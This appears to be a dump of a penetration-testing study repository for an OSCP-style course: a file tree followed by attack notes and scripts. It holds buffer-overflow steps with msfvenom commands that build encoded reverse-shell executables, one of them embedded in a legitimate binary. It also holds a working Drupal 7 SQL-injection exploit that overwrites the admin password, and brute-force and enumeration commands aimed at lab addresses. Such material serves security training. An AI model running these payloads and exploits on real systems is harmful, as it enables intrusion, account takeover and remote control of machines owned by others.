├── Buffer_overflow └── info.txt ├── ENUMERATION ├── CMS │ ├── Drupal │ │ ├── 34984.py │ │ ├── CVE2014-3704.py │ │ ├── drupal-finduser.sh │ │ └── drupalbrute.py │ └── cms-explorer-1.0 │ │ ├── LICENSE.txt │ │ ├── LW2.pm │ │ ├── README.txt │ │ ├── cms-explorer.pl │ │ ├── drupal_plugins.txt │ │ ├── drupal_themes.txt │ │ ├── joomla_plugins.txt │ │ ├── joomla_themes.txt │ │ ├── wp_plugins.txt │ │ └── wp_themes.txt ├── DNS │ ├── DNS-subdomain-bruteforce.sh │ └── DNS-zone-transfer-check.sh ├── FINGER │ └── finger_enum_user.sh ├── FTP │ └── ftp_commaands ├── NFS-RPC │ └── commands.txt ├── SMB │ ├── SMB-check-vulns.rb │ └── commands.txt ├── SMTP │ ├── SMTP-enum.rb │ ├── smtp-vrfy-from-file │ └── smtp_commands.txt ├── SNMP │ ├── commands.txt │ └── snmp-enumeration-snmpwalk-from-list.sh ├── SQL │ └── Microsoft_SQL.txt ├── SSH │ └── commands.txt ├── TELNET │ └── telnet_commands.txt ├── discover-master │ ├── .gitignore │ ├── LICENCE │ ├── README.md │ ├── alias │ ├── crack-wifi.sh │ ├── discover.sh │ ├── misc │ │ ├── compare-sites.sh │ │ ├── crawl.sh │ │ ├── dns-forward.sh │ │ ├── dns-reverse.sh │ │ ├── dns-transfer.sh │ │ ├── enum-linux.sh │ │ ├── enum-solaris.sh │ │ ├── netblocks.sh │ │ ├── netblocks.txt │ │ ├── nse.sh │ │ ├── ping-sweep.sh │ │ └── python │ │ │ ├── discover.py │ │ │ ├── ex1.py │ │ │ ├── ex2.py │ │ │ ├── multitabs.py │ │ │ ├── notes.txt │ │ │ ├── recon.py │ │ │ └── test.py │ ├── mods │ │ ├── goog-mail.py │ │ └── goohost.sh │ ├── notes │ │ ├── MSSQL Injection Cheat Sheet.pdf │ │ ├── bash.txt │ │ ├── buffer-overflows.txt │ │ ├── burp.txt │ │ ├── databases.txt │ │ ├── dns.txt │ │ ├── exploits.txt │ │ ├── git.txt │ │ ├── hack3rcon │ │ │ ├── main.sh │ │ │ ├── nmap.sh │ │ │ ├── open-list.sh │ │ │ ├── recon-domain.sh │ │ │ ├── recon-people.sh │ │ │ └── robots.sh │ │ ├── insecure-protocols.txt │ │ ├── kali.txt │ │ ├── linux.txt │ │ ├── maltego.txt │ │ ├── metasploit │ │ │ ├── Analysis of MSF Relative to PTES.pdf │ │ │ └── metasploit.txt │ │ ├── misc.txt │ │ ├── mobile.txt │ │ ├── nexpose.txt │ │ ├── oracle.txt │ │ ├── passwords.txt │ │ ├── pwk.txt │ │ ├── python.txt │ │ ├── smtp.txt │ │ ├── snmp.txt │ │ ├── sqli.txt │ │ ├── ssl.txt │ │ ├── unix.txt │ │ ├── web-apps.txt │ │ └── windows.txt │ ├── parsers │ │ ├── parse-burp.py │ │ ├── parse-nessus-feed.py │ │ ├── parse-nessus.py │ │ ├── parse-nexpose.py │ │ ├── parse-nippar.py │ │ ├── parse-nmap.py │ │ ├── parse-qualys.py │ │ └── utfdictcsv.py │ ├── report │ │ ├── css │ │ │ ├── defaults.css │ │ │ ├── ie.css │ │ │ └── style.css │ │ ├── data │ │ │ ├── active-recon.htm │ │ │ ├── doc.htm │ │ │ ├── emails.htm │ │ │ ├── hosts.htm │ │ │ ├── loadbalancing.htm │ │ │ ├── names.htm │ │ │ ├── passive-recon.htm │ │ │ ├── pdf.htm │ │ │ ├── ppt.htm │ │ │ ├── records.htm │ │ │ ├── squatting.htm │ │ │ ├── subdomains.htm │ │ │ ├── traceroute.htm │ │ │ ├── txt.htm │ │ │ ├── waf.htm │ │ │ ├── whatweb.htm │ │ │ ├── whois-domain.htm │ │ │ ├── whois-ip.htm │ │ │ ├── xls.htm │ │ │ └── zonetransfer.htm │ │ ├── images │ │ │ ├── icons │ │ │ │ ├── blue.png │ │ │ │ ├── green.png │ │ │ │ ├── red.png │ │ │ │ └── yellow.png │ │ │ └── logo.png │ │ ├── index.htm │ │ └── pages │ │ │ ├── active-recon.htm │ │ │ ├── black-listed.htm │ │ │ ├── config.htm │ │ │ ├── doc.htm │ │ │ ├── emails.htm │ │ │ ├── hosts.htm │ │ │ ├── loadbalancing.htm │ │ │ ├── names.htm │ │ │ ├── netcraft.htm │ │ │ ├── passive-recon.htm │ │ │ ├── pdf.htm │ │ │ ├── ppt.htm │ │ │ ├── records.htm │ │ │ ├── squatting.htm │ │ │ ├── subdomains.htm │ │ │ ├── traceroute.htm │ │ │ ├── txt.htm │ │ │ ├── waf.htm │ │ │ ├── whatweb.htm │ │ │ ├── whois-domain.htm │ │ │ ├── whois-ip.htm │ │ │ ├── xls.htm │ │ │ └── zonetransfer.htm │ ├── resource │ │ ├── adobe.rc │ │ ├── afp.rc │ │ ├── backdoor.rc │ │ ├── chargen.rc │ │ ├── citrix.rc │ │ ├── couchdb.rc │ │ ├── db2-2.rc │ │ ├── db2.rc │ │ ├── dcerpc.rc │ │ ├── dcerpc2.rc │ │ ├── emc.rc │ │ ├── emc2.rc │ │ ├── finger.rc │ │ ├── ftp.rc │ │ ├── h323.rc │ │ ├── http.rc │ │ ├── imap.rc │ │ ├── ipmi.rc │ │ ├── lotus.rc │ │ ├── misc.rc │ │ ├── misc │ │ │ ├── java.rc │ │ │ ├── listener.rc │ │ │ └── post.rc │ │ ├── motorola.rc │ │ ├── mssql.rc │ │ ├── mysql.rc │ │ ├── nessus.rc │ │ ├── netbios.rc │ │ ├── nfs.rc │ │ ├── ntp.rc │ │ ├── oracle.rc │ │ ├── oracle2.rc │ │ ├── oracle3.rc │ │ ├── oracle4.rc │ │ ├── pcanywhere.rc │ │ ├── pcanywhere2.rc │ │ ├── pop3.rc │ │ ├── postgres.rc │ │ ├── printers.rc │ │ ├── rdp.rc │ │ ├── recon-ng │ │ │ ├── active.rc │ │ │ ├── export.rc │ │ │ └── passive.rc │ │ ├── redis.rc │ │ ├── rmi.rc │ │ ├── rservices.rc │ │ ├── rservices2.rc │ │ ├── rservices3.rc │ │ ├── scada.rc │ │ ├── scada2.rc │ │ ├── scada3.rc │ │ ├── scada4.rc │ │ ├── scada5.rc │ │ ├── scada6.rc │ │ ├── sip.rc │ │ ├── sip2.rc │ │ ├── smb.rc │ │ ├── smtp.rc │ │ ├── smtp2.rc │ │ ├── snmp.rc │ │ ├── ssh.rc │ │ ├── telnet.rc │ │ ├── telnet2.rc │ │ ├── telnet3.rc │ │ ├── tftp.rc │ │ ├── tomcat.rc │ │ ├── upnp.rc │ │ ├── vmware.rc │ │ ├── vmware2.rc │ │ ├── vnc.rc │ │ ├── vxworks.rc │ │ ├── winrm.rc │ │ └── x11.rc │ ├── setup.sh │ └── update.sh ├── enumeration └── port scan & ping sweep │ ├── fping_sweep │ ├── nc-port-scanner.sh │ ├── nmap-ARP-ping.sh │ └── ping-sweep.sh ├── EXAM ├── documentation-strategy ├── pentest-reports │ └── curated-list-pentest-reports ├── tips └── useful-notes ├── KNOWN-vulnerabilities ├── PRIVESC ├── Linux │ ├── LinEnum.sh │ ├── PRIVESC_commands.txt │ ├── netcat-and-crontab.sh │ └── unix-privesc-check ├── Windows │ ├── Windows_commands │ ├── accesschk.exe │ ├── convert-python-exploits-to-exe │ ├── sysinternals │ │ ├── Eula.txt │ │ ├── PsExec.exe │ │ ├── PsGetsid.exe │ │ ├── PsInfo.exe │ │ ├── PsLoggedon.exe │ │ ├── PsService.exe │ │ ├── Pstools.chm │ │ ├── psfile.exe │ │ ├── pskill.exe │ │ ├── pslist.exe │ │ ├── psloglist.exe │ │ ├── pspasswd.exe │ │ ├── psping.exe │ │ ├── psshutdown.exe │ │ ├── pssuspend.exe │ │ └── psversion.txt │ └── useradd.c └── ncat_transfr files.txt ├── Post-exploitation └── windows.txt ├── Python_Servers ├── README.md ├── bruteforce & password_attacks ├── Crack Ms Office _ 2007 │ ├── Makefile │ ├── RC4-40-brute.c │ ├── README.md │ ├── rc4.c │ ├── rc4.h │ └── zip.hashes ├── bruteforce_commands.txt ├── office2john.py │ ├── office2john.py │ └── read-me ├── pass-the-haash ├── steghide-bruteforce-tool └── zip-cracker.sh ├── gain access └── shells │ ├── php-reverse-shell-1.0 │ └── php-reverse-shell.php │ └── spawn_shell_or break_out_of_jail.txt ├── persistence └── persistence_windows.txt └── whatis ├── RPC-definition └── SMB(CIFS)-definition /Buffer_overflow/info.txt: -------------------------------------------------------------------------------- 1 | Windows Buffer Overflows 2 | 3 | - Controlling EIP 4 | 5 | locate pattern_create 6 | pattern_create.rb -l 2700 7 | locate pattern_offset 8 | pattern_offset.rb -q 39694438 9 | 10 | - Verify exact location of EIP - [\*] Exact match at offset 2606 11 | 12 | buffer = "A" \* 2606 + "B" \* 4 + "C" \* 90 13 | 14 | - Check for “Bad Characters” - Run multiple times 0x00 - 0xFF 15 | 16 | - Use Mona to determine a module that is unprotected 17 | 18 | - Bypass DEP if present by finding a Memory Location with Read and Execute access for JMP ESP 19 | 20 | - Use NASM to determine the HEX code for a JMP ESP instruction 21 | 22 | /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 23 | 24 | JMP ESP 25 | 00000000 FFE4 jmp esp 26 | 27 | - Run Mona in immunity log window to find (FFE4) XEF command 28 | 29 | !mona find -s "\xff\xe4" -m slmfc.dll 30 | found at 0x5f4a358f - Flip around for little endian format 31 | buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390 32 | 33 | - MSFVenom to create payload 34 | 35 | msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d" 36 | 37 | - Final Payload with NOP slide 38 | 39 | buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode 40 | 41 | - Create a PE Reverse Shell 42 | msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 43 | -f 44 | exe -o shell\_reverse.exe 45 | 46 | - Create a PE Reverse Shell and Encode 9 times with 47 | Shikata\_ga\_nai 48 | msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 49 | -f 50 | exe -e x86/shikata\_ga\_nai -i 9 -o 51 | shell\_reverse\_msf\_encoded.exe 52 | 53 | - Create a PE reverse shell and embed it into an existing 54 | executable 55 | msfvenom -p windows/shell\_reverse\_tcp LHOST=$ip LPORT=4444 -f 56 | exe -e x86/shikata\_ga\_nai -i 9 -x 57 | /usr/share/windows-binaries/plink.exe -o 58 | shell\_reverse\_msf\_encoded\_embedded.exe 59 | 60 | - Create a PE Reverse HTTPS shell 61 | msfvenom -p windows/meterpreter/reverse\_https LHOST=$ip 62 | LPORT=443 -f exe -o met\_https\_reverse.exe 63 | 64 | - Linux Buffer Overflows 65 | 66 | - Run Evans Debugger against an app 67 | edb --run /usr/games/crossfire/bin/crossfire 68 | 69 | - ESP register points toward the end of our CBuffer 70 | add eax,12 71 | jmp eax 72 | 83C00C add eax,byte +0xc 73 | FFE0 jmp eax 74 | 75 | - Check for “Bad Characters” Process of elimination - Run multiple 76 | times 0x00 - 0xFF 77 | 78 | - Find JMP ESP address 79 | "\\x97\\x45\\x13\\x08" \# Found at Address 08134597 80 | 81 | - crash = "\\x41" \* 4368 + "\\x97\\x45\\x13\\x08" + 82 | "\\x83\\xc0\\x0c\\xff\\xe0\\x90\\x90" 83 | 84 | - msfvenom -p linux/x86/shell\_bind\_tcp LPORT=4444 -f c -b 85 | "\\x00\\x0a\\x0d\\x20" –e x86/shikata\_ga\_nai 86 | 87 | - Connect to the shell with netcat: 88 | nc -v $ip 4444 89 | -------------------------------------------------------------------------------- /ENUMERATION/CMS/Drupal/34984.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005 3 | #Creditz to https://www.reddit.com/user/fyukyuk 4 | 5 | import urllib2,sys 6 | import drupalpass 7 | from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py 8 | host = sys.argv[1] 9 | user = sys.argv[2] 10 | password = sys.argv[3] 11 | if len(sys.argv) != 3: 12 | print "host username password" 13 | print "http://nope.io admin wowsecure" 14 | hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash() 15 | target = '%s/?q=node&destination=node' % host 16 | post_data = "name[0%20;update+users+set+name%3d\'" \ 17 | +user \ 18 | +"'+,+pass+%3d+'" \ 19 | +hash[:55] \ 20 | +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in" 21 | content = urllib2.urlopen(url=target, data=post_data).read() 22 | if "mb_strlen() expects parameter 1" in content: 23 | print "Success!\nLogin now with user:%s and pass:%s" % (user, password) 24 | -------------------------------------------------------------------------------- /ENUMERATION/CMS/Drupal/drupal-finduser.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #find an existing user in Drupal 7 3 | 4 | cat /usr/share/wordlists/rockyou.txt | while read line 5 | do 6 | curl http://192.168.230.147/?q=$line 7 | done 8 | -------------------------------------------------------------------------------- /ENUMERATION/CMS/cms-explorer-1.0/joomla_themes.txt: -------------------------------------------------------------------------------- 1 | templates/abc/ 2 | templates/atomic/ 3 | templates/b59-tpl8/ 4 | templates/beez/ 5 | templates/carbon_07/ 6 | templates/crub/ 7 | templates/dm_arrow_red/ 8 | templates/gk_eshoptrix_2/ 9 | templates/gk_gomuproject/ 10 | templates/gk_icki_sports/ 11 | templates/gk_musictop/ 12 | templates/ja_purity/ 13 | templates/ja_rochea/ 14 | templates/ja_teline_ii/ 15 | templates/joomlaport_metro/ 16 | templates/js_relevant/ 17 | templates/mynxx_j15/ 18 | templates/planets/ 19 | templates/planetsv2/ 20 | templates/rhuk_milkyway/ 21 | templates/rt_hivemind_j15/ 22 | templates/rt_mediamogul_essentials_j15/ 23 | templates/rt_nexus_j15/ 24 | templates/siteground-j15-14/ 25 | templates/siteground-j15-68/ 26 | templates/siteground-j15-86/ 27 | templates/siteground99/ 28 | templates/system/ 29 | templates/yoo_phoenix/ 30 | templates/yoo_waybeyond/ -------------------------------------------------------------------------------- /ENUMERATION/DNS/DNS-subdomain-bruteforce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # bruteforce subdomains 3 | # using /usr/share/wordlists/dnscan subdomains wordlists 4 | # usage: edit mydomain.com 5 | 6 | 7 | for domain in $(cat /usr/share/wordlists/dnscan/subdomains-100.txt); 8 | do host $domain.mydomain.com;sleep 2;done | grep has | sort -u 9 | -------------------------------------------------------------------------------- /ENUMERATION/DNS/DNS-zone-transfer-check.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #Simple Zone Transfer Bash Script 3 | # $1 is the first argument given after the bash script 4 | # Check if argument was given, if not, print usage 5 | # usage: ./file.sh domain.com 6 | 7 | if [ -z "$1" ]; then 8 | echo "[*] Simple Zone transfer script" 9 | echo "[*] Usage: : $0 " 10 | exit 0 11 | fi 12 | 13 | #if argument was given, identify the DNS servers for the domain. 14 | #For each of thse servers, attempt a zone transfer 15 | 16 | for server in $(host -t ns $1 | cut -d" " -f4);do 17 | host -l $1 $server | grep "has address" 18 | done 19 | -------------------------------------------------------------------------------- /ENUMERATION/FINGER/finger_enum_user.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # http://stackoverflow.com/questions/10929453/read-a-file-line-by-line-assigning-the-value-to-a-variable 4 | display_usage() 5 | { 6 | echo -e "\nScript takes a file with a list of users as argument" 7 | echo -e "Usage:\n./finger_enum_user.sh \n" 8 | } 9 | 10 | if [ $# -le 0 ] 11 | then 12 | display_usage 13 | exit 1 14 | fi 15 | 16 | while IFS='' read -r line || [[ -n "$line" ]]; do 17 | 18 | echo "User :" $line 19 | finger $line@192.168.1.33 20 | echo -e "\n" 21 | 22 | done < "$1" 23 | -------------------------------------------------------------------------------- /ENUMERATION/FTP/ftp_commaands: -------------------------------------------------------------------------------- 1 | 2 | nmap --script=*ftp* --script-args=unsafe=1 -p 20,21 10.11.1.8 3 | -------------------------------------------------------------------------------- /ENUMERATION/NFS-RPC/commands.txt: -------------------------------------------------------------------------------- 1 | nmap -sV --script=nfs-* 192.168.44.133 2 | nmap -sV --script=nfs-ls 192.168.44.133 //same result as rpcinfo 3 | nmap -sV --script=nfs-* 192.168.44.133 // all nfs scripts 4 | 5 | rpcinfo -p 192.x.x.x 6 | rpcclient -I 192.x.x.x 7 | 8 | #mount NTFS share 9 | mount -t nfs 192.168.1.72:/home/vulnix /tmp/mnt -nolock 10 | 11 | #enumerate NFS shares 12 | showmount -e 192.168.56.103 13 | 14 | # If you see any NFS related ACL port open, see /etc/exports 15 | # 2049/tcp nfs_acl 16 | # /etc/exports: the access control list for filesystems which may be exported to NFS clients. See exports(5). 17 | 18 | READ: 19 | https://pentestlab.blog/tag/rpc/ 20 | 21 | See root squashing 22 | https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/ 23 | 24 | -------------------------------------------------------------------------------- /ENUMERATION/SMB/SMB-check-vulns.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # = smb-check-vulns has been removed, this will iterate over all nse smb scripts to perhaps save some time - can extend this to any nse script later 3 | # = add nse scripts to scripts hash below 4 | 5 | require 'optparse' 6 | 7 | options = {:ports => nil,:ip => nil} 8 | summary = "" 9 | 10 | ARGV.push("-h") if ARGV.empty? 11 | parse = OptionParser.new do |opts| 12 | opts.banner = "Usage: smb-check-vulns.rb [options]" 13 | opts.on("-p","--ports x,y","-[a-z]","Enter port or ports to scan comma seperated") do |port| 14 | options[:ports] = port 15 | end 16 | opts.on("-i","--ip x,y","ip address") do |ip| 17 | options[:ip] = ip 18 | end 19 | opts.on("-h", "--help","Displays help")do 20 | puts opts 21 | exit 22 | end 23 | summary = opts.summarize 24 | end.parse! 25 | 26 | @scripts=["smb-vuln-conficker.nse","smb-vuln-cve2009-3103.nse","smb-vuln-ms06-025.nse","smb-vuln-ms07-029.nse","smb-vuln-ms08-067.nse","smb-vuln-ms10-054.nse","smb-vuln-ms10-061.nse","smb-vuln-regsvc-dos.nse"] 27 | @ports = options[:ports] 28 | @ip = options[:ip] 29 | @output= [] 30 | def check_vulns 31 | @scripts.each{|vuln|puts "[+] checking #{vuln}"; @output << %x[nmap -v #{@ip} -p #{@ports} --script=#{vuln}]} 32 | end 33 | 34 | def format_output 35 | @output.each{|result| puts "\n" + result.partition("VULNERABLE:").first.partition("report for ").last + result.partition("VULNERABLE:").last.partition("NSE: Script Post").first if result.include?("VULNERABLE")} 36 | end 37 | 38 | check_vulns 39 | format_output 40 | -------------------------------------------------------------------------------- /ENUMERATION/SMB/commands.txt: -------------------------------------------------------------------------------- 1 | == SMB NETBIOS== 2 | enum4linux x.x.x.x 3 | nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254 4 | nbtscan -r 192.168.11.0/24 5 | nmblookup -A target 6 | 7 | ## SMB version 8 | msf auxiliary(scanner/smb/smb_version) > use auxiliary/scanner/smb/smb_version 9 | msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.31.142 10 | RHOSTS => 192.168.31.142 11 | msf auxiliary(scanner/smb/smb_version) > run 12 | [*] 192.168.31.142:139   - Host could not be identified: Unix (Samba 2.2.1a) 13 | 14 | ## SMB brute force 15 | use auxiliary/scanner/smb/smb_login 16 | 17 | ## Existing users 18 | msf auxiliary(scanner/smb/smb_lookupsid) > use auxiliary/scanner/smb/smb_lookupsid 19 | msf auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.31.142 20 | RHOSTS => 192.168.31.142 21 | msf auxiliary(scanner/smb/smb_lookupsid) > run 22 | [*] 192.168.31.142:139 - PIPE(LSARPC) LOCAL(MYGROUP - 5-21-4157223341-3243572438-1405127623) DOMAIN(MYGROUP - ) 23 | [*] 192.168.31.142:139 - TYPE=0 NAME=Administrator rid=500 24 | 25 | == NetBIOS NullSession enumeration == 26 | # This feature exists to allow unauthenticated machines to obtain browse lists from other 27 | # Microsoft servers. Enum4linux is a wrapper built on top of smbclient,rpcclient, net and nmblookup 28 | enum4linux -a 192.168.1.1 29 | 30 | ## upload file 31 | smbclient //192.168.31.142/ADMIN$ -U "nobody"%"somepassword" -c "put 40280.py" 32 | 33 | == NMAP SMB scripts == 34 | nmap --script smb-* --script-args=unsafe=1 192.168.10.55 35 | 36 | # ls -lh /usr/share/nmap/scripts/smb* 37 | smb-brute.nse 38 | smb-enum-domains.nse 39 | smb-enum-groups.nse 40 | smb-enum-processes.nse 41 | smb-enum-sessions.nse 42 | smb-enum-shares.nse 43 | smb-enum-users.nse 44 | smb-flood.nse 45 | smb-ls.nse 46 | smb-mbenum.nse 47 | smb-os-discovery.nse 48 | smb-print-text.nse 49 | smb-psexec.nse 50 | smb-security-mode.nse 51 | smb-server-stats.nse 52 | smb-system-info.nse 53 | smb-vuln-conficker.nse 54 | smb-vuln-cve2009-3103.nse 55 | smb-vuln-ms06-025.nse 56 | smb-vuln-ms07-029.nse 57 | smb-vuln-ms08-067.nse 58 | smb-vuln-ms10-054.nse 59 | smb-vuln-ms10-061.nse 60 | smb-vuln-regsvc-dos.nse 61 | smbv2-enabled.nse 62 | 63 | rpcclient -U "" target // connect as blank user /nobody 64 | smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22 65 | 66 | #mount SMB shares in Linux 67 | smbclient -L \\WIN7\ -I 192.168.13.218 68 | smbclient -L \\WIN7\ADMIN$ -I 192.168.13.218 69 | smbclient -L \\WIN7\C$ -I 192.168.13.218 70 | smbclient -L \\WIN7\IPC$ -I 192.168.13.218 71 | smbclient \\192.168.13.236\some-share -o user=root,pass=root,workgroup=BOB 72 | apt-get install cifs-utils 73 | mount -t cifs //10.11.6.31/wwwroot -o username=xxx,password=xxx /tmp/smb/ 74 | 75 | 76 | # mount SMB share to a folder 77 | mount -t auto --source //192.168.31.147/kathy --target /tmp/smb/ -o username=root,workgroup=WORKGROUP 78 | 79 | # mount SMB shares in Windows (via cmd) 80 | C:\WINDOWS\system32> dir \\Computer_name\wwwroot 81 | net use X: \\\ /USER:\ /PERSISTENT:YES 82 | -------------------------------------------------------------------------------- /ENUMERATION/SMTP/smtp-vrfy-from-file: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import socket 4 | import sys 5 | 6 | # Probably u don't need it now 7 | #if len(sys.argv) != 2: 8 | #print "usage: vrfy.py " 9 | #sys.exit(0) 10 | 11 | with open('/usr/share/wordlists/metasploit/unix_users.txt', 'r') as f: 12 | users = f.readlines() 13 | 14 | #create socket 15 | s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | #connect to the server 17 | connect=s.connect(('192.168.44.133',25)) 18 | #Receive the banner 19 | banner=s.recv(1024) 20 | print banner 21 | 22 | for u in users: 23 | user = u.strip() 24 | 25 | #VRFY a user 26 | s.send('VRFY ' + user + '\r\n') 27 | result=s.recv(1024) 28 | print result 29 | 30 | #close the socket 31 | s.close 32 | -------------------------------------------------------------------------------- /ENUMERATION/SMTP/smtp_commands.txt: -------------------------------------------------------------------------------- 1 | smtp-user-enum //in Kali 2 | smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.11.1.22 3 | 4 | SMTP sendmail commands: 5 | 6 | bash-2.05a$ telnet localhost 25 7 | Trying 127.0.0.1... 8 | Connected to localhost. 9 | Escape character is '^]'. 10 | 220 barry ESMTP Sendmail 8.11.6/8.11.6; Sun, 20 Aug 2017 00:01:02 +0300 11 | help 12 | 214-2.0.0 This is sendmail version 8.11.6 13 | 214-2.0.0 Topics: 14 | 214-2.0.0 HELO EHLO MAIL RCPT DATA 15 | 214-2.0.0 RSET NOOP QUIT HELP VRFY 16 | 214-2.0.0 EXPN VERB ETRN DSN AUTH 17 | 214-2.0.0 STARTTLS 18 | 214-2.0.0 For more info use "HELP ". 19 | 214-2.0.0 To report bugs in the implementation send email to 20 | 214-2.0.0 sendmail-bugs@sendmail.org. 21 | 214-2.0.0 For local information send email to Postmaster at your site. 22 | 214 2.0.0 End of HELP info 23 | AUTH 24 | 503 5.3.3 AUTH mechanism not available 25 | EHLO barry 26 | 250-barry Hello localhost [127.0.0.1], pleased to meet you 27 | 250-ENHANCEDSTATUSCODES 28 | 250-EXPN 29 | 250-VERB 30 | 250-8BITMIME 31 | 250-SIZE 32 | 250-DSN 33 | 250-ONEX 34 | 250-ETRN 35 | 250-XUSR 36 | 250 HELP 37 | AUTH LOGIN 38 | 39 | -------------------------------------------------------------------------------- /ENUMERATION/SNMP/commands.txt: -------------------------------------------------------------------------------- 1 | == SNMP == 2 | nmap -sU -p 161 --script=*snmp* 192.168.1.200 3 | xprobe2 -v -p udp:161:open 192.168.1.200 4 | 5 | msf > use auxiliary/scanner/snmp/snmp_login 6 | msf > use auxiliary/scanner/snmp/snmp_enum 7 | 8 | snmp-check 192.168.1.2 -c public 9 | snmpget -v 1 -c public IP 10 | snmpwalk -v 1 -c public IP 11 | snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP 12 | onesixtyone -c /usr/share/wordlists/dirb/small.txt 192.168.1.200 // find communities with bruteforce 13 | 14 | for i in $(cat /usr/share/wordlists/metasploit/unix_users.txt);do snmpwalk -v 1 -c $i 192.168.1.200;done| grep -e "Timeout" // find communities with bruteforce 15 | -------------------------------------------------------------------------------- /ENUMERATION/SNMP/snmp-enumeration-snmpwalk-from-list.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #for mib in $(cat /root/exercises/mibs.txt);do snmpwalk -c public -v1 $ip $mib;done 3 | #while read i ; do snmpwalk -c public -v1 $ip $i ; done < /root/exercises/mibs.txt 4 | 5 | for ip in $(cat /root/exercises/snmphosts2.txt);do snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25;done 6 | -------------------------------------------------------------------------------- /ENUMERATION/SQL/Microsoft_SQL.txt: -------------------------------------------------------------------------------- 1 | 'nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip' 2 | -------------------------------------------------------------------------------- /ENUMERATION/SSH/commands.txt: -------------------------------------------------------------------------------- 1 | 2 | == SSH user enumeration == 3 | 4 | 1) 5 | python ./40136.py 192.168.31.149 -U /usr/share/wordlists/metasploit/unix_users.txt -e --trials 5 --bytes 10 6 | 7 | 8 | 9 | 2) 10 | msf > use auxiliary/scanner/ssh/ssh_enumusers 11 | msf auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 192.168.31.149 12 | RHOSTS => 192.168.31.149 13 | msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt 14 | USER_FILE => /usr/share/wordlists/metasploit/unix_users.txt 15 | msf auxiliary(scanner/ssh/ssh_enumusers) > run 16 | 17 | [*] 192.168.31.149:22 - SSH - Checking for false positives 18 | [*] 192.168.31.149:22 - SSH - Starting scan 19 | [-] 192.168.31.149:22 - SSH - User '4Dgifts' not found 20 | [-] 192.168.31.149:22 - SSH - User 'EZsetup' not found 21 | [-] 192.168.31.149:22 - SSH - User 'OutOfBox' not found 22 | -------------------------------------------------------------------------------- /ENUMERATION/TELNET/telnet_commands.txt: -------------------------------------------------------------------------------- 1 | 2 | nmap -p 23 --script telnet-brute --script-args userdb=/usr/share/metasploit-framework/data/wordlists/unix_users,passdb=/usr/share/wordlists/rockyou.txt,telnet-brute.timeout=20s 10.11.1.22 3 | 4 | == metasploit == 5 | 1. telnet bruteforce 6 | 7 | use auxiliary/scanner/telnet/telnet_login 8 | msf auxiliary(telnet_login) > set BLANK_PASSWORDS false 9 | BLANK_PASSWORDS => false 10 | msf auxiliary(telnet_login) > set PASS_FILE passwords.txt 11 | PASS_FILE => passwords.txt 12 | msf auxiliary(telnet_login) > set RHOSTS 192.168.1.0/24 13 | RHOSTS => 192.168.1.0/24 14 | msf auxiliary(telnet_login) > set THREADS 254 15 | THREADS => 254 16 | msf auxiliary(telnet_login) > set USER_FILE users.txt 17 | USER_FILE => users.txt 18 | msf auxiliary(telnet_login) > set VERBOSE false 19 | VERBOSE => false 20 | msf auxiliary(telnet_login) > run 21 | 22 | msf auxiliary(telnet_login) > sessions -l // to see the sessions that succeded 23 | 24 | 25 | 26 | 2. telnet version 27 | use auxiliary/scanner/telnet/telnet_version 28 | msf auxiliary(telnet_version) > set RHOSTS 192.168.1.0/24 29 | RHOSTS => 192.168.1.0/24 30 | msf auxiliary(telnet_version) > set THREADS 254 31 | THREADS => 254 32 | msf auxiliary(telnet_version) > run 33 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/.gitignore: -------------------------------------------------------------------------------- 1 | *.gnamp 2 | *.nmap 3 | *.xml 4 | .idea 5 | -------------------------------------------------------------------------------- /ENUMERATION/discover-master/LICENCE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Lee Baird 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | * Neither the name of [project] nor the names of its 15 | contributors may be used to endorse or promote products derived from 16 | this software without specific prior written permission. 17 | 18 